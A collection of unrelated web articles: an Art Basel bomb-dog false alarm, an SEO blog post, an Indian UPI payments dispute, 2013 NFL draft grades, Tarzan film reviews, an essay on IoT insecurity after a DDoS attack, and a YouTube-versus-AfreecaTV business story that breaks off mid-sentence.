-Miami police shut down roads, sealed off an area and cleared the site near an art show after security dogs reacted to a suspicious crate on Saturday morning.  But when police opened the crate outside the Art Miami tent at the Art Basel festival, they found it contained a “punk” style picture of Hillary Clinton, with pink hair, an eyebrow piercing and a studded jacket covered with pins and buttons.  Police ran the artwork through the X-ray scanners and it was deemed free from any suspicious material, the Miami Herald reported.  Fair director Nick Korniloff said that the two dogs reacted to the crate during a pre-show check shortly after 8 a.m., prompting organizers to clear the site. Both the Art Miami tent and a tent for Context, connected by a tunnel, were closed off. The package was then searched and the painting of the former Democratic presidential candidate was found inside. ... “We had to err on the side of caution,” Korniloff said. Both tents eventually reopened around 10 a.m. The painting — titled “Punk Hillary” — had been shipped with a similar portrait of President Donald Trump (called “Trump Pimp”), depicting him in a zebra-printed hat with a gold dollar-sign chain around his neck. The Trump portrait had already been removed from the crate before the security check. The false alarm delayed the opening of the tent located at One Herald Plaza for dozens of people, including event staff and attendees. After police blocked off a section of Biscayne Boulevard with their cruisers and caution tape, many lingering outside were blocked from entering the area. As a gray sky threatened rain on those waiting outside, joggers and other passersby were told to cross to the north side of 15th Street around the blocked-off area Saturday morning. Miami-Dade Transit also redirected its routes, temporarily closing the Arsht Performing Arts Center Metrobus terminal.  Gallery owner Ken Hashimoto said police still don't know why the police dogs hit on the gaudy portrait.  “They have no idea,” he said. “My thought is a Republican bomb dog.”
-by  I’m going to channel my inner @alanbleiweiss and rant for a minute about some things I saw over the last few days in the SEO world. I also want to apologize for any spelling mistakes from the start, as my right arm is in a cast and I’m typing this entirely left-handed until I can find an intern. (If you’re curious as to how I broke my arm, it was with a softball. there’s a video here. )  There’s been lots of SEO chatter lately about a recent SEL post called More Proof Google Counts Press Release Links. and I want to address a couple of issues that came up both in this thread and on Twitter.  First point: what works for one small made-up keyword may not scale or be indicative of search as a whole. Scientists see this in the real world when they notice that Newton’s laws don’t really work at the subatomic level. In SEO algorithms, we have the same phenomenon – and it’s covered in depth by many computer science classes. (Note: I have a computer science degree and used to be a software engineer, but I haven’t studied too much in the information retrieval field. There’s more in depth and profound techniques than the examples I am about to provide.)  A long time ago the Google algorithm was probably just a couple of orders more complex than an SQL statement that says something like “Select * from sites where content like ‘%term’ order by pagerank desc.”  It’s not that simple anymore. Most people think of the algorithm like a static equation. Something like Pagerank + KeywordInTitle – ExactMatchDomain – Penguin – Panda + linkDiversity-Loadtime. I’m pretty sure it’s not.  When I think of the Google Algorithm, (especially with things like Panda and Penguin) I instantly think of a neural network where the algorithm is fed a training set of data and it builds connections to constantly learn and improve what good results are. I’ll refrain from talking more about neural nets because that’s not my main point.  I also want to talk about the branch of information retrieval within computer science. Most of the basic theories (on which, the more complicated ones are built) in IR talk about dynamic weighting based on the corpus. (Corpus, being latin for body and referring here to all of the sites that Google could possible return for a query.)  Here’s an example that talks about one such theory (which uses’s everybody’s favorite @mattcutts over-reaction from 2 years ago: inverse document frequency)  Basically, what this says is that if every document in the result set has the same term on it, that term becomes less important. That makes sense. The real learning here though, is that the weighting of terms is dynamic based on the result set. If term weights can be dynamic for each result set, why can’t anchor text, links, page speed, social signals, or whatever other crazy thing is correlated to rankings? They Can Be!  So let’s look at the made up keyword example. In the case of a made up term, the corpus is very very small. In the SEL example, it’s also very very small.  Now, in this instance, what should Google do? It has pages that contain that word, but they don’t have any traditionally heavily weighted ranking signals. Rather than return no results, the ranking factor weights are changed and the page is returned. That one link actually helps when there’s no other factors to consider. get it?  Think of it as kind of a breadth first search for ranking factors. Given a tree of all factors Google knows about, it first looks at the main ones. If they aren’t present, it goes further down the tree to the less important ones and keeps traversing the tree until it finds something it can use to sort the documents.  It’s like choosing a car. First you decide SUV or Car. Then Brand, Then manual or automatic. Then maybe the color, and finally it’s down to the interface of the radio. But what if the entire car lot only had Red Automatic SUVs? That radio interface would be a LOT more important now wouldn’t it? Google is doing the same thing.  OK, point number 2. Still with me?  We need to stop analyzing every word @mattcutts says like it’s some lost scripture and start paying attention to the meaning of what he says. In this example, Matt was right. Press releases aren’t helping your site – because your site is probably going after keywords that exist on other sites, and since there’s other sites that means the press release link factor is so far down the tree of factors that it’s probably not being used.  Remember when Matt said that Page Speed was a “all else being equal we’ll return the faster site” type of factor? That fits perfectly with the tree and dynamic weights I just talked about.  Instead of looking at the big picture, the meaning, and the reasoning behind what Matt says, we get too caught up on the literal definitions. It’s the equivalent of thinking David and Goliath is a story about how there are giants in the world rather than a story about how man’s use of technology helps him overcome challenges and sets him apart from beasts. We keep taking the wrong message because we’re too literal.  That’s all I want to say. Feel free to leave feedback in the comments.
-Last week, ICICI bank started blocking UPI transactions from the @ybl virtual payment address (VPA) that is used by the PhonePe app from Flipkart, powered by Yes Bank. This of course runs contrary to the whole idea behind the UPI - it's supposed to be an interoperable layer that works between all banks, allowing for easy digital payments. Having banks block legitimate VPAs undermines the concept, and what's worse, ICICI did not offer any substantiative statement about the block either.  This might finally have been resolved, with the National Payments Corporation of India (NPCI) having asked both ICICI and Yes Bank to take steps to open transactions again. As we had speculated, the move to block @ybl VPAs does appear to have been related to Flipkart's implementation of UPI payments, which tried to funnel all users to sign up to PhonePe, instead of allowing customers to use any VPA. In the app, it was possible to enter your own VPA, but that was only through a non-intuitive process that involved multiple menus; while using PhonePe was easily done on the first screen itself. This was definitely problematic, but ICICI's decision to block all @ybl VPAs was even more of an issue; the former is opportunistic, but the latter entirely undermines the UPI.  The NPCI's statement addresses this, and stresses on interoperability. In it's statement, the NPCI says that ICICI Bank has been advised to open UPI transactions immediately, and that it has advised Yes Bank to adhere to "merchant on-boarding guidelines meticulously" - a key phrase to take note of.  How UPI Works - the Apps, Charges, and Everything Else You Should Know  On Friday, people started complaining about not being able to use their ICICI accounts with PhonePe, and that's when the payments company's founder Sameer Nigam tweeted about what was going on. We independently verified this, by trying to use our ICICI accounts on PhonePe - the transactions were denied. ICICI was not, however, stopping UPI transactions on other VPAs; we tested it with the BHIM app and it worked just fine.  At the time, ICICI issued a statement mentioning security related concerns, an restrictive practices. However, it had not gone into any details. Now too, it stresses on interoperability, and not merchant on-boarding, as mentioned by the NPCI, but it is easy to read between the lines.  Here's ICICI's statement in full: "A certain non-banking application is following a restrictive practice of allowing only users of its own UPI handle to make payments on its App. This is a clear violation of UPI guidelines which mandate interoperability, wherein users enjoy the freedom to choose any UPI handle to make payments."  "NPCI has assured us in writing that this will get corrected very soon and the concerned App will allow interoperability. As soon as this is corrected, ICICI Bank will start allowing UPI transactions to resume on this App."  More about the ICICI-PhonePe block in this week's episode of Orbital, which you can subscribe to via iTunes or RSS, or just hit the play button below.
-It was less than six months ago that Dallas owner Jerry Jones put himself on notice as GM of the Cowboys, saying he would have fired himself. Well, based on the early returns from this year's NFL draft, Jones once again has cause for self-dismissal.  The Cowboys were the only team to earn a failing grade for their performance in the draft, an effort that included a trade down and the subsequent selection of a player they could have gotten rounds later.  For the most part, the NFC performed well, led by teams such as San Francisco, Minnesota, Atlanta and, yes, Tampa Bay.  Scroll to continue with content Ad  Here's an early assessment of how the NFC teams fared:  [Related: AFC draft grades]  NFC EAST  Dallas Cowboys  Picks: C Travis Frederick, TE Gavin Escobar, WR Terrance Williams, FS J.J. Wilcox, CB B.W. Webb, RB Joseph Randle, OLB DeVonte Holloman.  Analysis: Last year, the Cowboys received a B after an aggressive move up the board to get cornerback Morris Claiborne. This year they traded down, and the grade bottomed out with it. Three of their first four picks are guys who might not play significantly this year. The consensus around the league is that Frederick was a reach. Escobar was a fine pick, but then Williams and Wilcox are two guys who might not play for two years. Considering the Cowboys have Miles Austin, Dez Bryant and Jason Witten, Williams was an unnecessary luxury (particularly after the Escobar pick). Wilcox can be an in-the-box safety, but he’s so woefully inexperienced that it’s going to take awhile.  Grade: F  New York Giants  Picks: OT Justin Pugh, DT Johnathan Hankins, DE Damontre Moore, QB Ryan Nassib, S Cooper Taylor, G Eric Herman, RB Michael Cox.  Story continues  Analysis: Syracuse fans who love Pugh and Nassib are probably going to be up-in-arms with me, but don’t take this grade the wrong way. It’s a perfectly acceptable draft by a team that understands where it is. The Giants addressed some important needs, but didn’t exactly get anyone spectacular with this draft. Pugh is a really nice offensive tackle, but clearly a step down from some of the top guys in this draft. Same goes for Hankins and Moore, who figure to be good rotation players, if not starters some day (the Giants are very good at picking defensive linemen). Nassib is the interesting pick because so many people thought he was worthy of a second-round selection. Like so many quarterbacks, the Giants could develop him for a year or two and then flip him for a higher pick.  Grade: C+  [More: Secrecy helped the Bills land QB E.J. Manuel]  Philadelphia Eagles  Picks: OT Lane Johnson, TE Zach Ertz, DT Bennie Logan, QB Matt Barkley, SS Earl Wolff, DE Joe Kruger, CB Jordan Poyer, DE David King.  Analysis: The start of this draft was much stronger than the end of it. Johnson comes in as a starter to immediately help an offensive line that was a mess last season because of injury and inexperience. Ertz is a great weapon in the mold of Jason Witten who will pair with Brent Celek to provide the Eagles with ample opportunity for an explosive two-tight end set. The combo of Ertz, Celek, DeSean Jackson, Jeremy Maclin, LeSean McCoy and Michael Vick could be really fun in Chip Kelly’s offense. Where things went sideways was in the middle of the draft with Logan, who is an underachiever, and Barkley, who was overrated and not altogether necessary. The fact that Philly traded up to get Barkley when it already had second-year passer Nick Foles is perplexing.  Grade: B  Washington Redskins  Picks: CB David Amerson, TE Jordan Reed, SS Phillip Thomas, RB Chris Thompson, DE Brandon Jenkins, SS Bacarri Rambo, RB Jawan Jamison.  Analysis: This grade gets a pretty good boost from the fact that the Redskins used their first-round pick as part of the deal to get Robert Griffin III. That’s the excellent, but sort of unseen, part to this draft. As for the picks the Redskins made this year, they are pretty questionable. Amerson is a guy who suffers from DeAngelo Hall Disease, which is the inordinate tendency to get beat deep despite having good speed. Reed is very athletic, but is a bit of reach in the third round (most people projected him in the fourth or even the fifth). The one nugget pick in this group might be Thomas, who is a pretty good hitter and might provide some presence on defense.  Grade: B+  NFC NORTH  Chicago Bears  Picks: OT Kyle Long, ILB Jon Bostic, OLB Khaseem Greene, OT Jordan Mills, OLB Cornelius Washington, WR Marquess Wilson.  Analysis: There are vastly different opinions on Long, who is far more athletic than he plays. The problem is that Long took awhile to get back to football after a dalliance with baseball. Where some people see a guy who is stiff, others see a guy who is learning to react and project that once he gets it, he could even become a left tackle. Likewise, some people don’t see Bostic as very athletic, while others see him as way more explosive and talented than more highly regarded players such as Manti Te’o. The bottom line is the Bears got a couple of guys who figure to start right away and could be, at the least, steady players for a long time.  Grade: C+  Detroit Lions  Picks: DE Ezekiel Ansah, CB Darius Slay, G Larry Warford, DE Devin Taylor, P Sam Martin, WR Corey Fuller, RB Theo Riddick, TE Michael Williams, LB Brandon Hepburn.  Analysis: Three years from now, this grade has the best chance to look completely foolish because of Ansah. He is likely to either be an amazing pro or a complete bust because of his limited background in the game. He has basically played only one year and didn’t grow up with the game in Africa. Aside from Ansah, the Lions came into this draft with a lot of serious needs, including both defensive end spots and left tackle. With little ability to work a trade, the Lions at least got Ansah and picked up solid values in Slay and Warford. The other guy to pay close attention to is Taylor, who has extraordinary size.  Grade: B  [More: Complete 2013 NFL draft breakdown]  Green Bay Packers  Picks: DE Datone Jones, RB Eddie Lacy, OT David Bakhtiari, C J.C. Tretter, RB Johnathan Franklin, CB Micah Hyde, DE Josh Boyd, LB Nate Palmer, WR C.J. Johnson, WR Kevin Dorsey, LB Sam Barrington.  Analysis: Packers fans are going to rave about the steal the team got in Lacy at the end of the second round. OK, maybe. But there’s some pretty good money to be bet on Lacy being a guy with little or no long-term future because he’s so beaten up. In fact, Franklin could end up being the better player in a couple of year. Jones is an interesting player who some people feel is going to be a great pass rusher. Maybe, but he also could get stuck playing inside too much as a 3-4 end. One GM said he thought Jones would struggle to get more than four sacks a year, which seemed really odd to say. The real key to this draft could be the two offensive linemen Green Bay picked up in round 4 (Bakhtiari and Tretter). Both are classic Ted Thompson picks.  Grade: B  Minnesota Vikings  Picks: DT Sharrif Floyd, CB Xavier Rhodes, WR Cordarrelle Patterson, OLB Gerald Hodges, P Jeff Locke, G Jeff Baca, OLB Michael Mauti, G Travis Bond, DT Everett Dawkins.  Analysis: If you like aggressive drafting, this is it at it’s finest. Through the process of two trades (giving up Percy Harvin in March and then giving up four picks on Thursday), the Vikings ended up with three first-round picks. They used them on three great examples of the "falling value" concept. Starting with Floyd, who was projected as a possible top-four pick, all three were guys who have star ability to go with some factor that drags them down the draft board. If the Vikings hit on two of the three, they could have two superstars. If they hit on all three, they have the makings of a title team. If they hit on only one, somebody is probably going to get fired. Also, picking a punter in the fifth round when you have Chris Kluwe around is a bit odd.  Grade: A-  NFC SOUTH  Atlanta Falcons  Picks: CB Desmond Trufant, CB Robert Alford, DE Malliciah Goodman, TE Levine Toilolo, DE Stansly Maponga, DB Kemal Ishmael, SS Zeke Motta, QB Sean Renfree.  Analysis: If GM Thomas Dimitroff is one thing above all else, it’s realistic. He saw how the Falcons' defense got torched in the playoffs and dumped his aging cornerbacks and defensive end. He then used four of his top five picks on critical positions. He traded up to get Trufant, followed that with another corner and then picked up two defensive ends with projectable pass-rush ability. He also made a nice move to get Toilolo, who probably would have been a second-round pick next year if he had returned to Stanford. Instead, Toilolo, who has excellent athletic ability but not a lot of experience, will get to watch Tony Gonzalez. Hopefully, Toilolo will be inspired.  Grade: A-  Carolina Panthers  Picks: DT Star Lotulelei, DT Kawann Short, G Edmund Kugbila, ILB A.J. Klein, RB Kenjon Barner.  Analysis: Given my own size and shape, I should probably like this draft a whole lot more than I do. If you like big men and trench warfare, this is your prototype draft. Really, if you know new Panthers GM Dave Gettleman and his background from with the Giants, this makes perfect sense. It’s not sexy, but it’s functional and necessary. There are still concerns long-term about health maintenance for Lotulelei, but he’s a big-time space-eater. Combine him with Short, and the Panthers will have no problems getting MLB Luke Kuechly free to run all over the field and make tackles. The Panthers' run defense, which has been awful the last two seasons, is now at least respectable. Finally, Barner could be really interesting in open offensive sets.  Grade: C+  [More: Winners, losers from 2013 NFL draft]  New Orleans Saints  Picks: SS Kenny Vaccaro, OT Terron Armstead, DT John Jenkins, WR Kenny Stills, DE Rufus Johnson.  Analysis: Vaccaro was clearly the best safety available in a strong group for that position (three went in the first round and another went with the top pick of the second round). Vaccaro has a certain confidence and edginess that coach Sean Payton loves. More importantly, he can play either strong, free or even cornerback in a pinch. Armstead walks in as a likely starter on a team that historically has gotten by with lesser offensive tackles. Likewise, Jenkins is a likely starter in New Orleans’ new 3-4 defense and is a terrific space eater … as long as he doesn't eat his way out of the league.  Grade: B+  Tampa Bay Buccaneers  Picks: CB Johnthan Banks, QB Mike Glennon, DT Akeem Spence, DE William Gholston, DE Steven Means, RB Mike James.  Analysis: Much of this grade depends upon how you view the Darrelle Revis trade. If you think it’s a good risk, you give the Buccaneers high marks. If you think it was a bad risk, you probably give them a C, at best. My opinion is pretty obvious, and I give Tampa Bay a bit more credit for taking Banks to add even more to a secondary that has to deal with some talented offenses in the NFC South. While Glennon is a questionable pick in the third round, Spence and Gholston have an immediate chance to play right away because of the free-agent departures of Roy Miller and Michael Bennett.  Grade: A-  NFC WEST  Arizona Cardinals  Picks: G Jonathan Cooper, ILB Kevin Minter, CB Tyrann Mathieu, DE Alex Okafor, G Earl Watford, RB Stepfan Taylor, WR Ryan Swope, RB Andre Ellington, TE D.C. Jefferson.  Analysis: No matter what happens with Mathieu – and all outcomes are on the table – this is probably going to end up being a strong draft because of Cooper and Minter. Cooper is an extraordinary guard, the rare type that is worth not only taking in the first round, but in the top 10. You’re talking about a potential all-time great at that position. As for Minter, he’s a very good player who will likely start from Day 1. Moreover, Minter and CB Patrick Peterson are part of the plan to get the most out of Mathieu, an extremely talented and sadly undisciplined player. If that weren’t enough, the beauty of this draft could be in the combination of Okafor, Taylor and Swope, who all have a chance to be serious contributors.  Grade: A  St. Louis Rams  Picks: WR Tavon Austin, ILB Alec Ogletree, FS T.J. McDonald, WR Stedman Bailey, C Barrett Jones, CB Brandon McGee, RB Zac Stacy.  Analysis: It’s very unusual for such a small wide receiver (Austin is all of 5-foot-8) to go in the top 10 of a draft, but the Rams were selecting as much for need as for value. St. Louis jumped eight spots to get the speedy Austin, who has a chance to turn the Rams into the second coming of the Greatest Show on Turf. Yeah, I said it, but that’s what Jeff Fisher and Les Snead are obviously building. That said, it wouldn’t be a Fisher draft if there weren’t a problem child in the group. Ogletree is that guy who fell all the way to No. 30 despite top-10 athletic ability. Then again, if Ogletree gets too far out of line, Fisher can have Jones put him in his place. Jones is one tough dude.  Grade: B  San Francisco 49ers  Picks: FS Eric Reid, DE Cornellius Carradine, TE Vance McDonald, OLB Corey Lemonier, WR Quinton Patton, RB Marcus Lattimore, DE Quinton Dial, OLB Nick Moody, QB B.J. Daniels, OT Carter Bykowski, DB Marcus Cooper.  Analysis: The 49ers came into this draft with four pretty obvious needs: Safety, defensive end/line, second tight end and the eventual replacement for Frank Gore. Check, check, check and check. Sure, Reid, Carradine, McDonald and Lattimore might not all hit in the long run, but the 49ers got four strong candidates. The 49ers showed aggression by trading up for Reid, a guy who coach Jim Harbaugh tried to recruit to Stanford, and still got Carradine, a guy who some people thought San Francisco was going to take in the first round. Lattimore is the truly intriguing prospect as he tries to come back from a horrific knee injury. If he returns to form, the 49ers might have nabbed the best back in the draft.  Grade: A+  [More: Who were the best players not selected in the 2013 NFL draft?]  Seattle Seahawks  Picks: RB Christine Michael, DT Jordan Hill, WR Chris Harper, DT Jesse Williams, CB Tharold Simon, TE Luke Wilson, RB Spencer Ware, G Ryan Seymour, LB Ty Powell, DT Jared Smith, OT Michael Bowie.  Analysis: As with Tampa Bay and Darrelle Revis, a lot of this grade depends on how people perceive WR Percy Harvin, who Seattle got in a trade that included its first-round pick. Harvin is a serious talent who can also be a serious malcontent. If the Seahawks get three good years out of Harvin, it will be a great trade. Even two good years might be enough. As for the rest, GM John Schneider did his usual work of finding good value along the way, particularly with guys like Michael, who has a nice blend of speed and power, and Williams, who was predicted to go much higher by some.  Grade: B  NFL.com on the Giants' draft class:  More NFL draft coverage on Yahoo! Sports:  • New Cardinals DB Tyrann Mathieu continues to raise red flags  • Eagles nab Matt Barkley early on Day 3  • Watch: Is Manti Te'o a good fit for the Chargers?
-When Edgar Rice Burroughs first published Tarzan of the Apes back in 1912 film adaptations would have probably been the farthest thing from his mind, but one hundred years later movies are still being made about his most popular creation – only the likes of Dracula, Godzilla and Sherlock Holmes are in Tarzan’s league when it comes to filmographies – and many notable actors have appeared in his films.  In 1918 Elmo Lincoln was the first to play the iconic ape man, but it was in 1932 – when MGM released Tarzan the Ape Man with Johnny Weissmuller and Maureen O’Sullivan – that Tarzan became a true box office star. Over the past year I’ve been reviewing Tarzan movies for this site – a labour of love if ever there was one – and I welcome all fans of the character to journey across time, as we look back at the cinematic tales of Tarzan the Ape Man. Click on the links or posters below to check out all my reviews of the world’s most cinematic ape man.  In Tarzan the Ape Man Jane visits her father in Africa as they hunt for the mythical elephant graveyard, when Tarzan enters the mix things get ugly. Johnny Weissmuller begins his long run as the titular ape man.  In Tarzan and His Mate another safari to the Elephant’s Graveyard finds Tarzan and Jane at odds with her English friends. Jane’s naked underwater swim makes this a fan favorite.  In Tarzan Escapes Jane’s cousins show up to take her back to civilization. Tarzan is not too keen on the idea. Hi-jinks ensue. They do get the really sweet tree-house in this outing.  In Tarzan’s Revenge a group of rich Americans come to Africa to get some animals for their zoo, gold medalist Eleanor Holm must fend off an idiot fiancé and an evil sultan until Tarzan eventually shows up.  In Tarzan Finds a Son! Jane and Tarzan adopt a baby that survived a plane crash, when relatives come looking for the kid five years later things get a bit tense.  In Tarzan’s Secret Treasure it’s not ivory that the villains of this entry are after this time out, now its gold they want and Boy’s innocence could spell disaster. Can Tarzan save Jane and Boy from white man’s insatiable greed?  In Tarzan’s New York Adventure we meet a group of unscrupulous circus people who kidnap Boy and take him to New York City to make him work the Big Top. Jane and Tarzan track them down through this new concrete jungle.  In Tarzan Triumphs Nazis invade the Lost City of Palandria, and only Tarzan and Boy can thwart their evil plans to enslave and exploit the populace. Cheeta’s Hitler impression a stand-out moment for the series.  In Tarzan’s Desert Mystery our favorite Lord of the Jungle brings Boy along on a mercy mission that takes them into dangerous lands, facing off against Nazi spies, dinosaurs, and giant spiders.  In Tarzan and the Amazons white intruders find a hidden city full of Amazons, Tarzan and Boy fight over whether to help these idiots or just call it a bad day and go home.  In Tarzan and the Leopard Woman the Ape Man and Boy must do battle with a leopard cult, and rescue some pretty school teachers from their evil clutches.  In Tarzan and the Huntress white invaders cross into Tarzan’s territory to hunt for animals to replenish a great animal shortage that zoos have been facing since the war ended.  In Tarzan and the Mermaids a girl flees from her people to escape being forced into a marriage with a conman posing as a god. Tarzan and Jane step into help foil this evil plot. This would be Johnny Weissmuller last outing as Tarzan.  In Tarzan’s Magic Fountain a missing aviatrix walks out of the jungle after being missing for twenty years and hasn’t aged a day. Tarzan must help her keep the secret of her youth. This is the first Lex Barker Tarzan.  In Tarzan and the Slave Girl members of a lost civilization are raiding African villages for women and only Tarzan can stop them. Meanwhile Jane gets into a nasty cat-fight with a girl hot for Tarzan’s jungle action.  In Tarzan’s Peril the Ape Man must stop a notorious slaver and gunrunner from arming an evil African warlord. Dorothy Dandridge and a man-eating plan provide great entertainment.  In Tarzan’s Savage Fury Jane and Tarzan are duped by a pair of criminals, one posing as his cousin Oliver Greystoke, all in the hopes of finding the Waziri and their fabled diamonds.  In Tarzan and the She-Devil ivory hunters enslave friends of Tarzan and try and kidnap Jane. The Lord of the Apes tries to stop this but spends most his time captured. This was Lex Barker’s last outing as Tarzan.  In Tarzan’s Hidden Jungle we find two hunters, posing as photographers, who actually plan to slaughter countless animals for their fat, hides, and tusks and only Tarzan stands in their way. Gordon Scott begins his run as Tarzan.  In Tarzan and the Lost Safari Tarzan must escort a group of plane crash survivors through hostile jungle while dealing with a possible traitor in their midst. Tarzan seen for the first time in glorious colour.  In Tarzan and the Trappers we find poor Tarzan caught up in “The Most Dangerous Game” in this failed attempt at Tarzan television series.  In Tarzan’s Fight for Life the jungle man must prevent an evil witch doctor from turning the jungle into a warzone between science and superstition. This was the final feature for producer Sol Lesser.  In Tarzan’s Greatest Adventure a group of bad men have murdered their way to find a diamond mine and only Tarzan the Lord of the Jungle can stop them. Watch out for a pre-James Bond Sean Connery as one of the villains.  In Tarzan the Magnificent Tarzan must bring in a wanted killer while being hunted by the man’s villainous family. John Carradine gives an excellent turn as the evil patriarch of this rotten group. Also the last Gordon Scott Tarzan.  In Tarzan Goes to India we find Tarzan hired to stop a herd of elephants from being drowned by a hydroelectric dam project in India. Can the ape and a rogue elephant save the day? Jock Mahoney dons the loin cloth for the first time.  In Tarzan’s Three Challenges Tarzan must guide “The Chosen One” through the jungles of Thailand while being hunted by the evil Khan. Woody Strode does double duty as the dead Khan and his evil brother. Jock Mahoney’s last Tarzan film.  In Tarzan and the Valley of Gold Tarzan must rescue a small boy from nefarious villains who want to get the location to a lost city of gold from the poor kid. Mike Henry picks up the Tarzan torch after Jock Mahoney’s departure.  In Tarzan and the Great River Tarzan heads into the jungles of Brazil to track down the evil Jaguar Death Cult. He teams up with annoying boy sidekick and a hot blonde doctor.  In Tarzan and the Jungle Boy Tarzan must locate a boy who has been lost in the jungle for six years while also trying to referee two heirs to a jungle throne. This would be Mike Henry’s last outing as Tarzan.  In this Jane centric version of Tarzan the Ape Man we find Bo Derek cavorting naked with the apes while beefcake Miles O’Keefe says nothing as Tarzan. Richard Harris, who portrays Jane’s father, was most likely paid in Scotch.  Greystoke: The Legend of Tarzan, Lord of the Apes is a serious and realistic attempt of the classic Edgar Rice Burroughs tale of a man raised by apes and the girl he fell in love with.  In Tarzan and the Lost City we have Tarzan returning to Africa to help some old friends prevent villainous white men from discovering the lost city of Opar. As this postpones his wedding to Jane things get ugly.  Disney’s Tarzan is an animated version that pits Tarzan against a cruel hunter and a few misplaced Phil Collins songs. It gets even more things wrong from the book but still manages to be an excellent Tarzan flick.  In The Legend of Tarzan a reluctant John Clayton returns to Africa to stop a group of mercenaries from enslaving the population of the Congo. Director David Yates removes much of the pulp adventure aspect of the Burroughs’ books but at least Jane is given more to do this time out.  It is truly astonishing that we had about one Tarzan film a year for about four decades, and now with the David Yates The Legend of Tarzan we have almost a hundred years of Tarzan movies. That’s impressive by anyone’s standards. I do hope you have enjoyed my lighthearted trip through the cinematic history of the world’s most famous jungle adventurer, and please join me for any further adventures of Tarzan, Lord of the Apes.
-Image: Shutterstock  Brian Krebs is a popular reporter on the cybersecurity beat. He regularly exposes cybercriminals and their tactics, and consequently is regularly a target of their ire. Last month, he wrote about an online attack-for-hire service that resulted in the arrest of the two proprietors. In the aftermath, his site was taken down by a massive DDoS attack.  In many ways, this is nothing new. Distributed denial-of-service attacks are a family of attacks that cause websites and other internet-connected systems to crash by overloading them with traffic. The "distributed" part means that other insecure computers on the internet—sometimes in the millions—are recruited to a botnet to unwittingly participate in the attack. The tactics are decades old; DDoS attacks are perpetrated by lone hackers trying to be annoying, criminals trying to extort money, and governments testing their tactics. There are defenses, and there are companies that offer DDoS mitigation services for hire.  Basically, it's a size vs. size game. If the attackers can cobble together a fire hose of data bigger than the defender's capability to cope with, they win. If the defenders can increase their capability in the face of attack, they win.  What was new about the Krebs attack was both the massive scale and the particular devices the attackers recruited. Instead of using traditional computers for their botnet, they used CCTV cameras, digital video recorders, home routers, and other embedded computers attached to the internet as part of the Internet of Things.  Much has been written about how the IoT is wildly insecure. In fact, the software used to attack Krebs was simple and amateurish. What this attack demonstrates is that the economics of the IoT mean that it will remain insecure unless government steps in to fix the problem. This is a market failure that can't get fixed on its own.  The IoT will remain insecure unless government steps in and fixes the problem.  Our computers and smartphones are as secure as they are because there are teams of security engineers working on the problem. Companies like Microsoft, Apple, and Google spend a lot of time testing their code before it's released, and quickly patch vulnerabilities when they're discovered. Those companies can support such teams because those companies make a huge amount of money, either directly or indirectly, from their software—and, in part, compete on its security. This isn't true of embedded systems like digital video recorders or home routers. Those systems are sold at a much lower margin, and are often built by offshore third parties. The companies involved simply don't have the expertise to make them secure.  Even worse, most of these devices don't have any way to be patched. Even though the source code to the botnet that attacked Krebs has been made public, we can't update the affected devices. Microsoft delivers security patches to your computer once a month. Apple does it just as regularly, but not on a fixed schedule. But the only way for you to update the firmware in your home router is to throw it away and buy a new one.  The security of our computers and phones also comes from the fact that we replace them regularly. We buy new laptops every few years. We get new phones even more frequently. This isn't true for all of the embedded IoT systems. They last for years, even decades. We might buy a new DVR every five or ten years. We replace our refrigerator every 25 years. We replace our thermostat approximately never. Already the banking industry is dealing with the security problems of Windows 95 embedded in ATMs. This same problem is going to occur all over the Internet of Things.  The market can't fix this because neither the buyer nor the seller cares. Think of all the CCTV cameras and DVRs used in the attack against Brian Krebs. The owners of those devices don't care. Their devices were cheap to buy, they still work, and they don't even know Brian. The sellers of those devices don't care: they're now selling newer and better models, and the original buyers only cared about price and features. There is no market solution because the insecurity is what economists call an externality: it's an effect of the purchasing decision that affects other people. Think of it kind of like invisible pollution.  What this all means is that the IoT will remain insecure unless government steps in and fixes the problem. When we have market failures, government is the only solution. The government could impose security regulations on IoT manufacturers, forcing them to make their devices secure even though their customers don't care. They could impose liabilities on manufacturers, allowing people like Brian Krebs to sue them. Any of these would raise the cost of insecurity and give companies incentives to spend money making their devices secure.  Of course, this would only be a domestic solution to an international problem. The internet is global, and attackers can just as easily build a botnet out of IoT devices from Asia as from the United States. Long term, we need to build an internet that is resilient against attacks like this. But that's a long time coming. In the meantime, you can expect more attacks that leverage insecure IoT devices.
-Google's video-sharing unit accused of playing copycat  By Lee Min-hyung  "One sows and another reaps" seems to be a perfect match for YouTube's long-term business tactics.  The U.S.-based video streaming giant unveiled last month its plan to start Super Chat, a platform where creators and the company share profits raised from fans who watch live videos from YouTube "stars."  The arrival of the new revenue stream reflects the ever-growing influence of talented online posters, with multi-channel networks ― such as YouTube ― growing in size and importance as a core venue for advertisers and other business operators in almost all industries.  But the YouTube business model is not the first of its kind, looking almost identical to AfreecaTV's "star balloon" system.  The Seoul-based live video streaming site adopted the platform in November 2007, allowing users to buy balloon items, which cost 110 won (10 cents) apiece. Fans of AfreecaTV hosts then send the balloons to their favorite broadcasting jockeys ― BJs as they are called here ― via a live chat. In return for the monetary support, BJs communicate with their supporters in real-time by reading out their IDs and having brief talks with them via video.  On average, AfreecaTV gets 40 percent of its revenue from the balloons, with BJs pocketing the rest. YouTube has yet to make public its specific profit-sharing portion for Super Chat.  "For YouTube, the decision (to adopt the similar business model) must have been an unavoidable choice to diversify its revenues. We do not view this as a serious threat," an AfreecaTV spokesman said.  "YouTube is not the first firm to copy such a business model as our star balloons. There have been so many late movers in our industry but almost all of them failed to make enough of an impact and stopped their businesses."  The top priority for those who want to start their own live video channels is a platform where the so-called "gift ecosystem" between users and creators is deeply-rooted, according to the official.  "In this context, we believe Super Chat will not be a serious threat to our decade-long ecosystem, at least in the Korean market," he said. "For example, Kakao failed to draw enough response with its live video streaming service, Kakao TV, falling short of extending its mobile influence."  Kakao is the operator of the nation's most popular messenger app Kakao Talk and No. 2 web portal Daum.  Level playground?  Although AfreecaTV shows confidence that it will beat YouTube, the latter has a track record of having dethroned a Korean powerhouse in the video market to hold a dominant 80 percent share in the online video-sharing industry here.  In 2004, Pandora TV, the Seoul-based online broadcasting firm, started the video-sharing business for the first time in the world. The following year, YouTube was founded and began to steal the limelight from Pandora TV.  Pandora TV founding CEO Peter Kim attributed its downfall to a weak social environment where the government did not encourage fair and transparent competition.  "It is not a matter of who copied what," he said. "Much more important is to keep the No. 1 title in any given industry. For startups or venture firms in Korea, it is extremely tough to compete with global IT giants."  "One underlying reason behind this is the unfair competition landscape in Korea, as the government does not adopt the same regulation standards toward local companies and their overseas counterparts," he said.  "Under the current legal structures, Korean companies will continue to fall prey to overseas business titans. The playground is not level and does not favor us. All firms should be treated equally under local restrictions 